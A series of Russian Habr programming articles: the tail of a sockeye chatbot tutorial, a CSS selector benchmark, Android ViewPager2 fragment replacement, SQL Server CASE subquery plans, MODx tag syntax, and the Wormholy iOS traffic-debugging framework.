Несколько элементов на которых хочу с акцентировать внимание:
* python3 — естессно;
* model — имя папки в которую процесс обучения сохраняет модель, должно соответствовать имени указанном при обучение;
* --use-cpu — без этого MXNet попробует задействовать GPU что скорее всего закончится неудачей так как процесс обучения его все еще использует.
* --checkpoints 0005 - номер контрольной точки, взят из консольного вывода в момент сохранения контрольной точки.
После запуска команды sockeye будет считывать ввод из STDIN и выводить ответ в STDOUT. вот несколько примеров:
### после часа обучения:
### после 2х часов обучения
### после 3х часов обучения оно мне начало угрожать =)
Заключение
----------
Как можно увидеть с sockeye процесс обучения очень прост. Собственно, самое сложное, пожалуй, это поднять нужную машину и подключится к ней =) Я все до сих пор жду что бы кто-то из читателей:
* создал бота по мастере Yoda (ну или Вейдера);
* создал бота из вселенной Lord of The Rings;
* создал бота из вселенной StarWars.
*PS: не забудьте скачать вашу модель и прибить машину после окончания обучения.*
Натренированная модель
----------------------
[Вот тут](https://s3-us-west-1.amazonaws.com/blog.kovalevskyi.com/models/model_chatbot.zip) можно скачать натренированную модель (тренировал всего 4 часа). Ее можно использовать на локальной машине, что бы поиграться с ботом, если не хочется тренировать своего.
|
https://habr.com/ru/post/332654/
| null |
ru
| null |
# Разгоняем CSS-селекторы. Часть 2: транзитивность
После статьи [«Разгоняем CSS-селекторы: стоит ли?»](http://webo.in/articles/habrahabr/19-css-efficiency-tests/) было предложено рассмотреть несколько дополнительных случаев, учитывающих транзитивность селекторов (например, насколько быстрее `a c`, чем `a b c`, или наоборот). Данное исследование посвящено как раз разбору таких случаев.
Методика
--------
Методика и уменьшение погрешности подробно рассматривались [в первой статье](http://webo.in/articles/habrahabr/19-css-efficiency-tests/), на них сильно много останавливаться не буду. Скажу лишь, что при наращивании количества классов и идентификаторов Opera стала значительно медленнее (раза в 3) отображать код (при этом общий его объем увеличился примерно в 1,5-2 раза). Скорее всего, в следующую статью войдет исследование влияния количества классов/идентификаторов/размера кода на общую производительность браузера.
Еще раз подчеркну, что действительную ценность представляет **относительное** изменение времени отображения страницы в пределах **одного браузера** в зависимости от того или иного случая (а никак не абсолютное или же сравнение разных браузеров: дополнительно присутствует слишком много неучтенных факторов).
[читать дальше на webo.in →](http://webo.in/articles/habrahabr/25-css-efficiency-tests-2/ "полный текст")
|
https://habr.com/ru/post/21923/
| null |
ru
| null |
# Android — ViewPager2 — заменяем фрагменты на лету (программно)
Вдруг вам надо листать фрагменты через ViewPager2 и при этом подменять их динамически. Например, чтобы уйти "глубже" - пользователь из фрагмента "Главные настройки" переходит во фрагмент "Выбор языка". При этом новый фрагмент должен отобразиться на месте главного фрагмента. А потом пользователь еще и захочет вернуться обратно...
Дано
----
* ViewPager2
* список Fragment-ов (например, разделы анкеты или многостраничный раздел настроек)
* Kotlin (Java), Android собственно
Задача
------
Необходимо заменять фрагменты динамически - на месте n-ого фрагмента должен появится другой. При этом все остальные страницы не должны терять своего состояния.
Пример:
Есть три фрагмента. Первый - список любимых тарелок, второй - экран с сообщениями, третий - настройки.
Пользователь на первом экране выбирает тарелку -> меняем первый фрагмент на фрагмент "Информация о тарелке"
Пользователь листает свайпами или выбирает через TabLayout третий экран - "Настройки", выбирает раздел "Выбор языка" -> меняем третий фрагмент на фрагмент "Выбор языка"
Теперь пользователь, не выходя из выбора языка, листает до первого фрагмента. Он должен увидеть информацию о тарелке, а не список любимых тарелок.
Итак, пытаемся сдружить ArrayMap и ViewPager2.
Результат
---------
Будет такой
- YouTube[www.youtube.com](https://www.youtube.com/watch?v=83EmdaS4eIk&feature=youtu.be)Дисклеймер (не читать, вода)
----------------------------
Пишу, потому что найти хороших решений по этой задаче не смог, хотя вроде пытался усердно.
Код местами специально упрощен - не люблю, когда в статьях добавляют десятки строк, не касающихся решения описываемой задачи, только ради соблюдения всех правил. Так что: строковые ресурсы - вынести, вью модели для фрагментов - добавить, пару уровней абстракций - ну вы поняли
Весь проект - https://github.com/IDolgopolov/ViewPager2\_FragmentReplacer
Иногда буду использовать слово "страницы" - имею ввиду позицию, на которой отображается фрагмент во ViewPager. Например, "Список любимых тарелок", "Экран сообщений" и "Настройки" - три страницы. Фрагмент "Выбор языка" заменяет третью страницу.
Решение
-------
Сначала ничего интересного, просто для общего ознакомления
### Верстка
main\_activity.xml
```
xml version="1.0" encoding="utf-8"?
```
fragment\_one.xml
```
xml version="1.0" encoding="utf-8"?
```
fragment\_deep.xml
```
xml version="1.0" encoding="utf-8"?
```
fragment\_two.xml, fragment\_three.xml
```
xml version="1.0" encoding="utf-8"?
```
### Интерфейсы
Опишем функции, которые нам понадобятся для смены фрагментов
```
interface FragmentReplacer {
fun replace(position: Int, newFragment: BaseFragment, isNotify: Boolean = true)
fun replaceDef(position: Int, isNotify: Boolean = true) : BaseFragment
}
```
Все фрагменты, добавляемые во ViewPagerAdapter (MyViewPager2Adapter описан ниже), будут наследоваться от BaseFragment.
Определим в нем переменные для хранения:
* pageId - уникальный номер страницы. Может быть любым числом, но главное - уникальным и большим, чем у вас позиций страниц (pageId > PAGE\_COUNT - 1), иначе будут баги из-за метода getItemId()
* pagePos - номер странице, на которой будет отображаться фрагмент во ViewPager (начиная с 0, естественно)
* fragmentReplacer - ссылка на ViewPagerAdapter (MyViewPager2Adapter реализует FragmentReplacer)
```
abstract class BaseFragment(private val layoutId: Int) : Fragment() {
val pageId = Random.nextLong(2021, 2021*3)
var pagePos = -1
protected lateinit var fragmentReplacer: FragmentReplacer
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
return inflater.inflate(layoutId, container, false)
}
fun setPageInfo(pagePos: Int, fragmentReplacer: FragmentReplacer) {
this.pagePos = pagePos
this.fragmentReplacer = fragmentReplacer
}
}
```
### Связь активити и ViewPager2
```
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
//MyViewPager2Adapter - смотреть разбор далее
view_pager_2.adapter = MyViewPager2Adapter(this)
TabLayoutMediator(tab_layout, view_pager_2) { tab, position ->
tab.text = when(position) {
0 -> "Первый"
1 -> "Второй"
2 -> "Крайний"
else -> throw IllegalStateException()
}
}.attach()
}
}
```
### Адаптер для ViewPager2 - всё здесь
В этом классе будут реализован интерфейс FragmentReplacer и переопределены несколько классов FragmentStateAdapter. Это и позволит менять фрагменты на лету.
Весь код класса, который ниже разбираю подробно
```
class MyViewPager2Adapter(container: FragmentActivity) : FragmentStateAdapter(container),
FragmentReplacer {
companion object {
private const val PAGE_COUNT = 3
}
private val mapOfFragment = ArrayMap()
override fun replace(position: Int, newFragment: BaseFragment, isNotify: Boolean) {
mapOfFragment[position] = newFragment
if (isNotify)
notifyItemChanged(position)
}
override fun replaceDef(position: Int, isNotify: Boolean): BaseFragment {
val fragment = when (position) {
0 -> FragmentOne()
1 -> FragmentTwo()
2 -> FragmentThree()
else -> throw IllegalStateException()
}
fragment.setPageInfo(
pagePos = position,
fragmentReplacer = this
)
replace(position, fragment, isNotify)
return fragment
}
override fun createFragment(position: Int): Fragment {
return mapOfFragment[position] ?: replaceDef(position, false)
}
override fun containsItem(itemId: Long): Boolean {
var isContains = false
mapOfFragment.values.forEach {
if (it.pageId == itemId) {
isContains = true
return@forEach
}
}
return isContains
}
override fun getItemId(position: Int) =
mapOfFragment[position]?.pageId ?: super.getItemId(position)
override fun getItemCount() = PAGE\_COUNT
}
```
В первую очередь переопределим четыре метода FragmentStateAdapter:
```
//ключ - позиция страницы
//значения - фрагмент, отображаемый в данный момент на этой странице
private val mapOfFragment = ArrayMap()
//возвращаем количество страниц (в нашем примере - 3)
override fun getItemCount() = PAGE\_COUNT
/\*
эта функция вызывается, когда пользователь впервые открывает страницу
или был вызван notifyItemChanged(position)
если фрагмент еще не был создан (mapOfFragment[position] == null),
то заменяем фрагмент на этой странице фрагментов по умолчанию
\*/
override fun createFragment(position: Int): Fragment {
return mapOfFragment[position] ?: replaceDef(position, false)
}
/\*
у каждого нашего фрагмента есть свой id, отдаем его адаптеру
если фрагмент на этой позиции еще не был создан, можно вернуть любую чипуху,
не совпадающую со всеми существующими id
p.s. super.getItemId { return position } по умолчанию
\*/
override fun getItemId(position: Int) =
mapOfFragment[position]?.pageId ?: super.getItemId(position)
override fun containsItem(itemId: Long): Boolean {
var isContains = false
mapOfFragment.values.forEach { if (it.pageId == itemId) {
isContains = true
return@forEach
} }
return isContains
}
```
Теперь две функции, которые позволяют подменять фрагменты
```
override fun replace(position: Int, newFragment: BaseFragment, isNotify: Boolean) {
//указываем фрагменту, на какой странице он отображается
newFragment.setPageInfo(
pagePos = position,
fragmentReplacer = this
)
mapOfFragment[position] = newFragment
//isNotify = true всегда, кроме вызова replace() из функции createFragment()
//иначе приложение будет крашится, так как еще ничего не отображено
if (isNotify)
notifyItemChanged(position)
}
//здесь указываем базовые фрагменты - фрагменты, отображаемые по умолчанию
//пригодится, когда захотим отобразить страницы в первый раз
//или вернуться к дефолтной странице после того, как закончим все дела на замененной
override fun replaceDef(position: Int, isNotify: Boolean): BaseFragment {
val fragment = when (position) {
0 -> FragmentOne()
1 -> FragmentTwo()
2 -> FragmentThree()
else -> throw IllegalStateException()
}
replace(position, fragment, isNotify)
return fragment
}
```
Пример использования
--------------------
Все готово - у каждого фрагмента есть ссылка на адаптер, значит есть возможность заменить фрагмент на любой странице, а самое главное (наиболее используемое на практике) - есть возмжность заменить самого себя.
Например, фрагмент, по умолчанию, отображаемый на первой странице:
*FragmentOne.kt*
```
class FragmentOne : BaseFragment(R.layout.fragment_one) {
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
//по нажатию кнопки
b_replace_fragment_one.setOnClickListener {
//создаем фрагмент, который заменит этот фрагмент
val fragmentDeep = FragmentDeep()
//заменяем
fragmentReplacer.replace(this.pagePos, fragmentDeep)
}
}
}
```
*FragmentDeep.kt*
```
class FragmentDeep : BaseFragment(R.layout.fragment_deep) {
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
b_back.setOnClickListener {
//по нажатию кнопки заменяем текущий фрагмент
//на дефолтный: 0 -> FragmentOne()
fragmentReplacer.replaceCurrentToDef()
//или
//fragmentReplacer.replace(pagePos, FragmentOne())
//или
//fragmentReplacer.replace(0, FragmentOne())
}
}
}
```
Мысли в слух
------------
Аккуратно, если фрагменты тяжелые, - надо задуматься об очищении mapOfFragment.
Возможно, стоит хранить Class вместо BaseFragment. Но тогда придется инициализировать их каждый раз в createFragment(). Меньше памяти, больше времени. Что думаете?
### На правах...
[dendolg.ru](https://dendolg.ru) - портфолио, контакты для сотрудничества (после переезда на GithubPages браузер иногда банит https протокол, а иногда не банит - разбираюсь)
[t.me/dolgopolovd](https://t.me/dolgopolovd) - блог с нулем подписчиков, в котором рассуждаю о мобильном и промышленном дизайне и иногда отвлекаюсь от программирования
|
https://habr.com/ru/post/544680/
| null |
ru
| null |
# Подзапросы в выражении CASE
По материалам статьи Craig Freedman: [Subqueries in CASE Expressions](https://docs.microsoft.com/en-us/archive/blogs/craigfr/subqueries-in-case-expressions)
В этой статье будет рассмотрено, как SQL Server обрабатывает подзапросы в выражении CASE. Кроме того, будут рассмотрены несколько экзотических возможностей соединений.
### Скалярные выражения
Для простых случаев использования выражений CASE (без подзапросов), возможна оценка только выражения CASE, состоящего из нескольких скалярных выражений:
```
create table T1 (a int, b int, c int)
select
case
when T1.a > 0 then
T1.b
else
T1.c
end
from T1
```
| |
| --- |
| |--Compute Scalar(DEFINE:([Expr1004]=CASE WHEN [T1].[a]>(0) THEN [T1].[b] ELSE [T1].[c] END))|--Table Scan(OBJECT:([T1])) |
Этот план запроса подразумевает просмотр таблицы T1 и оценку выражения CASE для каждой её строки. Оператор Compute Scalar вычисляет значение выражения CASE, включая оценку условия и принятие решения, будет ли выполняться оценка в предложении THEN или ELSE.
Если в выражение CASE поместить подзапросы, всё становится немного сложнее и существенно интересней.
### Предложение WHEN
Давайте сначала добавим к предложению WHEN простой подзапрос:
```
create table T2 (a int, b int)
select
case
when exists (select * from T2 where T2.a = T1.a) then
T1.b
else
T1.c
end
from T1
```
| |
| --- |
| |--Compute Scalar(DEFINE:([Expr1009]=CASE WHEN [Expr1010] THEN [T1].[b] ELSE [T1].[c] END))|--Nested Loops(Left Semi Join, OUTER REFERENCES:([T1].[a]), DEFINE:([Expr1010] = [PROBE VALUE]))|--Table Scan(OBJECT:([T1]))|--Table Scan(OBJECT:([T2]), WHERE:([T2].[a]=[T1].[a])) |
Как и для других EXISTS подзапросов, этот план использует левое полусоединение, позволяющее проверить, имеется ли для каждой строки в T1 соответствующая строка в T2. Однако, нормальное полусоединение (или анти-полусоединение) возвращает только парные строки (или непарные). В этом случае, должно быть возвращено хоть что-то (T1.b или T1.c) для каждой строки в T1. Мы не можем просто отказаться от строки T1 только потому, что для неё нет соответствующей строки в T2.
Решением стал специальный тип полусоединения со столбцом пробной таблицы. Это полусоединение возвращает все внешние соответствующие или не соответствующие строки, и устанавливает столбец пробной таблицы (в нашем случае это [Expr1010]) в истину или ложь, что указывает, была ли найдена соответствующая строка T1. После этого, выполняется оценка выражения CASE, для чего используется столбец пробной таблицы, с помощью которого определяется, какое значение будет возвращено.
### Предложение THEN
Давайте теперь попробуем добавить к предложению THEN простой подзапрос:
```
create table T3 (a int unique clustered, b int)
insert T1 values(0, 0, 0)
insert T1 values(1, 1, 1)
select
case
when T1.a > 0 then
(select T3.b from T3 where T3.a = T1.b)
else
T1.c
end
from T1
```
Я добавил к T3 ограничение уникальности, позволяющее гарантировать, что скалярный подзапрос возвратит только одну строку. Без ограничения, план запроса был бы более сложен, поскольку оптимизатору нужно было бы гарантировать, что подзапрос действительно возвратит только одну строку, и ему пришлось бы выдавать ошибку, если бы вернулось больше одной строки.
Я также добавил в T1 ещё две строки, причём, условие в предложение WHEN выдаст ложь для первой строки и истину для второй строки. Таким образом, первая строка у нас будет подходить для ELSE, а вторая для THEN. Обратите внимание, что значение подзапроса в THEN будет использоваться, только если предложение WHEN будет истинно.
Ниже показан профиль статистики для плана исполнения этого запроса:
| |
| --- |
| Rows Executes 0 0 |--Compute Scalar(DEFINE:([Expr1008]=CASE WHEN [T1].[a]>(0) THEN [T3].[b] ELSE [T1].[c] END))2 1 |--Nested Loops(Left Outer Join, PASSTHRU:(IsFalseOrNull [T1].[a]>(0)), OUTER REFERENCES:([T1].[b]))2 1 |--Table Scan(OBJECT:([T1]))0 1 |--Clustered Index Seek(OBJECT:([T3].[UQ\_\_T3\_\_412EB0B6]), SEEK:([T3].[a]=[T1].[b]) ORDERED FORWARD) |
Этот план запроса использует специальный тип соединения вложенных циклов, в котором задействуется предикат PASSTHRU. Соединение оценивает предикат PASSTHRU для каждой внешней строки. Если предикат PASSTHRU оценивается как истина, соединение немедленно возвращает строку, подобную полусоединению или внешнему соединению. Если же предикат PASSTHRU оценивается как ложь, соединение выполняется обычным образом, т.е. выполняется попытка соединения внешней строки с внутренней строкой.
В показанном выше примере, предикат PASSTHRU выражения CASE является инверсией (обратите внимание на функцию IsFalseOrNull) предложения WHEN. Если предложение WHEN оценивается как истина, предикат PASSTHRU оценивается как ложь, происходит соединение, и поиск по внутренней части соединения выполняет оценку подзапроса THEN. Если предложение WHEN оценивается как ложь, предикаты PASSTHRU оценивается как истина, соединение пропускается, а поиск или подзапрос THEN не выполняется.
Обратите внимание, что просмотр T1 возвращает 2 строки, хотя поиск в T3 выполняется только один раз. Так происходит потому, что в нашем примере предложение WHEN истинно только для одной из двух строк. Предиката PASSTHRU является единственным механизмом, когда число строк на внешней стороне соединения вложенных циклов не соответствует в точности числу строк на внутренней стороне.
Также обратите внимание, что после того, как будет использовано внешнее соединение, невозможно гарантировать, что подзапрос в THEN вернёт хоть что-нибудь (в действительности гарантируется только то, что благодаря ограничению уникальности будет возвращено не более одной строки). Если подзапрос не возвращает строк, внешнее соединение просто возвратит NULL для T3.b. Если бы использовалось внутреннее соединение, отказаться от строки T1 было бы неправильно. Предостережение: я прогонял эти примеры на SQL Server 2005. Если Вы будете выполнять этот пример на SQL Server 2000, предикат PASSTHRU будет виден, но в плане исполнения запроса он появится как регулярный предикат предложения WHERE. К сожалению, для SQL Server 2000 не существует простого пути различения регулярных предикатов и предиката PASSTHRU.
### Предложение ELSE и несколько предложений WHEN
Подзапрос в предложении ELSE работает точно так же, как и подзапрос в предложении THEN. Для оценки условия подзапроса будет использован предикат PASSTHRU.
Точно так же выражение CASE с несколькими предложениями WHEN с подзапросами в каждом предложении THEN будет работать аналогичным образом. Отличие только в том, что предикатов PASSTHRU будет больше.
Например:
```
create table T4 (a int unique clustered, b int)
create table T5 (a int unique clustered, b int)
select
case
when T1.a > 0 then
(select T3.b from T3 where T3.a = T1.a)
when T1.b > 0 then
(select T4.b from T4 where T4.a = T1.b)
else
(select T5.b from T5 where T5.a = T1.c)
end
from T1
```
| |
| --- |
| |--Compute Scalar(DEFINE:([Expr1016]=CASE WHEN [T1].[a]>(0) THEN [T3].[b] ELSE CASE WHEN [T1].[b]>(0)THEN [T4].[b]ELSE [T5].[b] ENDEND))|--Nested Loops(Left Outer Join, PASSTHRU:([T1].[a]>(0) OR [T1].[b]>(0)),OUTER REFERENCES:([T1].[c]))|--Nested Loops(Left Outer Join, PASSTHRU:([T1].[a]>(0) OR IsFalseOrNull [T1].[b]>(0)), OUTER REFERENCES:([T1].[b]))| |--Nested Loops(Left Outer Join, PASSTHRU:(IsFalseOrNull [T1].[a]>(0)), OUTER REFERENCES:([T1].[a]))| | |--Table Scan(OBJECT:([T1]))| | |--Clustered Index Seek(OBJECT:([T3].[UQ\_\_T3\_\_164452B1]), SEEK:([T3].[a]=[T1].[a]) ORDERED FORWARD)| |--Clustered Index Seek(OBJECT:([T4].[UQ\_\_T4\_\_182C9B23]), SEEK:([T4].[a]=[T1].[b])ORDERED FORWARD)|--Clustered Index Seek(OBJECT:([T5].[UQ\_\_T5\_\_1A14E395]), SEEK:([T5].[a]=[T1].[c])ORDERED FORWARD) |
В этом плане запроса три соединения вложенных циклов с предикатами PASSTHRU. Для каждой строки T1, только один из трех предикатов PASSTHRU оценивается как истина, и только один из трех подзапросов будет выполнен. Обратите внимание, что пока второе предложение WHEN соответствует "T1.b > 0", это значит, что первое предложение WHEN, где "T1.a > 0" оказалось ложным. Это также относится и к предложению ELSE. Таким образом, предикаты PASSTHRU для второго и третьего подзапроса включают проверку "T1.a > 0 OR…".
### Столбец пробной таблицы в качестве предиката PASSTHRU
Наконец, давайте рассмотрим запрос с подзапросами в предложениях WHEN и в предложениях THEN. Также, для разнообразия, давайте переместим выражение CASE из списка SELECT в предложение WHERE.
```
select *
from T1
where 0 =
case
when exists (select * from T2 where T2.a = T1.a) then
(select T3.b from T3 where T3.a = T1.b)
else
T1.c
end
```
| |
| --- |
| |--Filter(WHERE:((0)=CASE WHEN [Expr1013]THEN [T3].[b] ELSE [T1].[c]END))|--Nested Loops(Left Outer Join, PASSTHRU:(IsFalseOrNull [Expr1013]),OUTER REFERENCES:([T1].[b]))|--Nested Loops(Left Semi Join, OUTER REFERENCES:([T1].[a]),DEFINE:([Expr1013] = [PROBE VALUE]))| |--Table Scan(OBJECT:([T1]))| |--Table Scan(OBJECT:([T2]), WHERE:([T2].[a]=[T1].[a]))|--Clustered Index Seek(OBJECT:([T3].[UQ\_\_T3\_\_164452B1]),SEEK:([T3].[a]=[T1].[b])ORDERED FORWARD) |
В этом плане исполнения запроса имеется левое полусоединение со столбцом пробной таблицы, позволяющее оценить подзапрос в предложении WHEN, и соединение вложенных циклов с предикатом PASSTHRU для столбца пробной таблицы, позволяющее решить, выполнять ли оценку подзапроса в предложении THEN. Поскольку выражение CASE было перемещено в предложение WHERE, для оценки выходных значений из списка SELECT вместо оператора Compute Scalar используется оператор Filter, с помощью которого определяется, какие строки будут возвращены. Все остальное работает точно так же.
### Далее…
В следующей статье, я рассмотрю несколько других типов подзапросов.
|
https://habr.com/ru/post/657871/
| null |
ru
| null |
# MODx: ресурсы, чанки и какие-то телевизоры
После того как один мой знакомый спросил у меня про то, что за телевизоры используются в шаблонах, я решил отложить все дела на вечер и написать эту статью.
Речь пойдёт о том из чего состоит MODx, как его лучше «готовить», «подавать» и «употреблять».
Рассчитана она в первую очередь на новичков т.к. содержит базовый минимум того, что нужно знать любому modxоводу, ну и конечно на тех кому просто интересно.
Статья ориентирована в основном на Revolution и отражает основные отличия в синтаксисе её от предшественницы, но для обратной совместимости буду вставлять иногда аналогии с Evolution.
Ресурсы (Resources)
-------------------
Зачастую ресурс представляет собой страницу сайта. Кроме того существуют другие типы ресурсов, такие как, ссылки, сами файлы, и т.д. По умолчанию тип нового ресурса — документ, точнее представление одной страницы вашего сайта.
Существует 4 вида ресурсов:
* **Документ** — самый распространённый ресурс, по сути веб-страница сайта. В основной массе состоит из заголовка, аннотации, подробного текста, различных дат, мета-тегов и дополнительных полей (TV-параметров);
* **Web-ссылка** — ссылка на внешний ресурс или веб-страницу;
* **Символическая ссылка** — внутренняя ссылка на другой ресурс;
* **Статический ресурс** — файл.
Каждый ресурс также имеет уникальный идентификатор, или «Resource Identifier». Если требуется связать два ресурса, то для этого следует использовать ID. Таким образом, MODx сгенерирует ссылку, и вам не придется беспокоиться об изменении адреса страницы или типы адресации.
Так же каждому ресурсу можно назначить шаблон, шаблон может определять дополнительные поля этого ресурса.
Ресурсы могут выступать в роли контейнеров и содержать в себе другие ресурсы. Так образуется структура сайта.
Шаблоны (Templates)
-------------------
Шаблон — это базовая сущность определяющая отображение страницы в MODx. Шаблоны обычно содержат HTML-теги разметки, которые определяют расположение и внешний вид вашего сайта. Когда страница сайта запрошена, MODx загружает документ или ресурс и его шаблон, затем MODx находит все дополнительные поля в шаблоне и заменяет их соответствующими значениями из документа перед отправкой страницы в браузер пользователя.
Шаблон может быть назначен любому ресурсу и определяет по сути веб-страницу в которой будет выведено содержимое этого ресурса.
Шаблон не может быть включён в другой шаблон как часть.
Пример шаблона:
> `1.
> 2. <**html**>
> 3. <**head**>
> 4. <**title**>[[\*pagetitle]]</**title**>
> 5. <**meta** name="description" content="[[\*description]]"/>
> 6. </**head**>
> 7. <**body**>
> 8. <**h1**>[[\*longtitle]]</**h1**>
> 9. ID страницы: [[\*id]]<**br**/>
> 10. Анонс: [[\*introtext]]<**br**/>
> 11. Заголовок в меню: [[\*menutitle]]
> 12. <**hr**/>
> 13. [[\*content]]
> 14. </**body**>
> 15. </**html**>
> 16.`
### Параметры
Используются для вывода значений полей ресурса.
Вызов осуществляется так:
| | |
| --- | --- |
| Evolution | Revolution |
| [\*field\*] | [[\*field]] |
Полный список полей можно посмотреть в документации [здесь](http://rtfm.modx.com/display/revolution20/Resources#Resources-ResourceFields "Полный список параметров ресурса").
### TV параметры
ТелевизорДополнительное поле или переменная шаблона (TV) — это настраиваемое поле, или, точнее это настраиваемое поле для ресурсов MODx. TV-параметры используются для расширения стандартных полей ресурса. Каждый ресурс в MODx имеет определенное количество полей по умолчанию см. выше в разделе про ресурсы.
Если встаёт задача добавить некоторые дополнительные поля на страницу, например, выпадающий список названий месяцев или дополнительное изображение, или любой другой тип пользовательских данных, это можно сделать добавив TV-параметр соответствующего типа. MODx позволяет иметь практически неограниченное количество TV-параметров.
TV-тег заменяется соответствующим значением заполненным пользователем при обработке ресурса. Так же каждый такой параметр привязан к какому либо шаблону и может использоваться лишь в совокупности с ним.
Вызов осуществляется так:
| | |
| --- | --- |
| Evolution | Revolution |
| [\*tv\*] | [[\*tv]] |
TV параметры можно использовать как чанки добавляя им параметры. Например если есть TV-параметр 'intromsg' со значением:
> `1. Привет [[+name]], у тебя [[+messageCount]] непрочитанных.`
Тогда можно заполнить его данными при вызове:
> `1. [[\*intromsg?name=`Гриша` &messageCount=`123`]]`
Результат:
> `1. Привет Гриша, у тебя 123 непрочитанных сообщений.`
Так же можно применять фильтры при выводе например так можно ограничить длину выводимой строки до 100 символов:
> `1. [[\*bioMessage:limit=`100`]]`
Полный список фильтров можно посмотреть [тут](http://rtfm.modx.com/display/revolution20/Input+and+Output+Filters+%28Output+Modifiers%29). Кроме того фильтры можно применять к чанкам и сниппетам.
### Комментарии
> `1. [[# В шаблоне допускается оставлять комментарии, этот код который будет удалён из страницы после её рендеринга. ]]`
Чанки (Chunks)
--------------
Чанк — кусок статического текста который можно встроить в шаблон, в другой чанк, либо вызвать в снипете. Чанк обладает теми же свойствами что и шаблон за исключением того, что не содержит TV-параметров и не может быть назначен ресурсу напрямую.
Чанк не может содержать какой-либо исполняемый код, но в нём можно вызывать сниппеты для вывода динамического контента.
Вызов чанка осуществляется так:
| | |
| --- | --- |
| Evolution | Revolution |
| {{chunk}} | [[$chunk]] |
В чанк можно передавать параметры. К примеру мы создадим чанк с таким содержанием:
> `1. Привет, [[+name]]. У тебя [[+messageCount]] непрочитанных сообщений.`
Такой чанк можно вызвать с параметрами, которые в последствии передадутся внутрь его:
> `1. [[$intro? &name=`Василий` &messageCount=`12`]]`
Данный код выведет:
> `1. Привет, Василий. У тебя 12 непрочитанных сообщений.`
Кроме статических данных в вызов чанка можно помещать дополнительные и общие параметры ресурсов, например так:
> `1. [[!$intro? &name=`[[\*usersName]]` &messageCount=`[[\*messageCount]]`]]`
Сниппеты (Snippets)
-------------------
Сниппет — PHP код который исполняется во время обработки шаблона MODx. Результат работы его может быть расположен либо на месте его вывода, либо в плейсхолдерах, специальных тегах определяющими куда поместить те или иные результаты.
Вызов сниппета осуществляется так:
| | |
| --- | --- |
| Evolution | Revolution |
| [[snippet]] | [[snippet]] |
Размещение плейсхолдера:
| | |
| --- | --- |
| Evolution | Revolution |
| [+placeholder+] | [[+placeholder]] |
Как и чанки в сниппеты можно передавать параметры, например так:
> `1. [[!Wayfinder? &startId=`0` &level=`1`]]`
Передаваемые параметры можно группировать в так называемые параметры по умолчанию (Property Sets), которые представляют собой динамическую группу параметров, которая может передана в сниппет по средствам указания названия группы.
Параметры по умолчанию задаются в панели администрирования на вкладке «Параметры» у сниппета. Параметры по умолчанию можно также создавать и для чанков.
К примеру создадим группу 'Menu' с параметрами `startId`=0 и `level`=1, затем вызов сниппета таким образом:
> `1. [[!Wayfinder@Menu]]`
Будет аналогичен, т.к. параметры подставятся автоматически:
> `1. [[!Wayfinder &startId=`0` &level=`1`]]`
Любой параметр по умолчанию можно переписать. В следующем примере значение параметра `level`, равного единице, будет заменено на 2.
> `1. [[!Wayfinder@Menu? &level=`2`]]`
Чтобы указать системе не кешировать сниппет требуется добавить восклицательный знак перед именем:
> `1. [[!noCacheSnippet]]`
Синтаксис тегов
---------------
Каждый тег MODx Revolution может содержать в себе другие теги MODx. Для того что бы код был более менее читаем разрешено размещать код тега на нескольких строках придерживаясь такого общего формата (в скобках мои комментарии, которые писать не надо =)):
> `1.
> 2. [[ (открывающий тег)
> 3. ! (необязательный, символ запрета кеширования)
> 4. elementToken (необязательный, символ определяющий тип параметра, если это не сниппет, $=чанк, \*=обычное/дополнительное поле ресурса, +=плейсхолдер, и т.д.)
> 5. elementName (название элемента)
> 6. @propertyset (необязательный, PropertySet идентификатор)
> 7. :filterName=`modifier`:... (не обязательные фильтры, один или более)
> 8. ? (необязательный, определяет начало строки с параметрами)
> 9. &propertyName=`propertyValue` &... (необязательные любые параметры разделённые &)
> 10. ]] (закрывающий тег)
> 11.`
### Сводная табличка синтаксиса тегов MODx
| | | | |
| --- | --- | --- | --- |
| Элемент | Evolution | Revolution | Пример |
| Параметр TV | [\*templatevar\*] | [[\*templatevar]] | [[\*pagetitle]] |
| Чанк | {{chunk}} | [[$chunk]] | [[$header]] |
| Сниппет (кусок php кода) | [[snippet]] | [[snippet]] или [[!snippet]] | [[getResources]] |
| Плейсхолдер | [+placeholder+] | [[+placeholder]] | [[+modx.user.id]] |
| Ссылка на ресурс | [~link~] | [[~link]] | [[~13]] |
| Системные настройки | [(system\_setting)] | [[++system\_setting]] | [[++site\_start]] |
Ресурсы
-------
* [MODx Россия](http://modx.ru/ "MODx Россия")
* [Официальный сайт](http://modxcms.com/ "Официальный сайт")
* [Документация](http://rtfm.modx.com/ "Документация")
* [Неофициальное русскоязычное сообщество MODx](http://modx-cms.ru/ "Неофициальное русскоязычное сообщество MODx")
|
https://habr.com/ru/post/122289/
| null |
ru
| null |
# Анализ сетевого трафика на iOS. Часть 2 — Фреймворки для анализа сетевого трафика мобильного приложения
В первой части нашей статьи мы рассматривали инструменты для анализа сетевого трафика мобильного приложения без интеграции внутрь проекта через прокси. Во второй части рассмотрим фреймворки, которые импортируются в сам проект и позволяют анализировать трафик приложения.
#### 1. Wormholy
Исходный код - [здесь](https://github.com/pmusolino/Wormholy). Фреймворк для дебага трафика мобильного приложения.
**Возможности:**
* импортируется без написания кода;
* записывается весь трафик приложения, который использует NSURLSession;
* не нужны SSL сертификаты для анализа трафика HTTPS;
* взаимодействует с внешними библиотеками для работы с сетью, такими как Alamofire и AFNetworking;
Установка фреймворка очень проста - через добавление в Podfile следующей строчки:
`pod ‘Wormholy’, :configurations => [‘Debug’]`
После этого в терминале в директории с проектом необходимо установить поды из Podfile командой `pod install`.
Затем запустить ваш проект. Для того чтобы открыть анализатор трафика, нужно потрясти телефон (в симуляторе это делается или сочетанием клавиш control-command-z, или выбором вкладки Device -> Shake). После этого открывается окно со списком запросов, которые ваше приложение успело сделать с момента запуска.
В качестве тестируемого проекта мы используем простое новостное приложение. Приложение взаимодействует с NewsAPI для получения новостей и с Firebase (логин и чтение/запись в БД).
Можно посмотреть детальное описание запроса и ответа от сервера.
Отдельно можно посмотреть тело запроса и ответа в удобочитаемом виде. Есть поиск по JSON.В целом достаточно удобный инструмент для анализа трафика мобильного приложения.
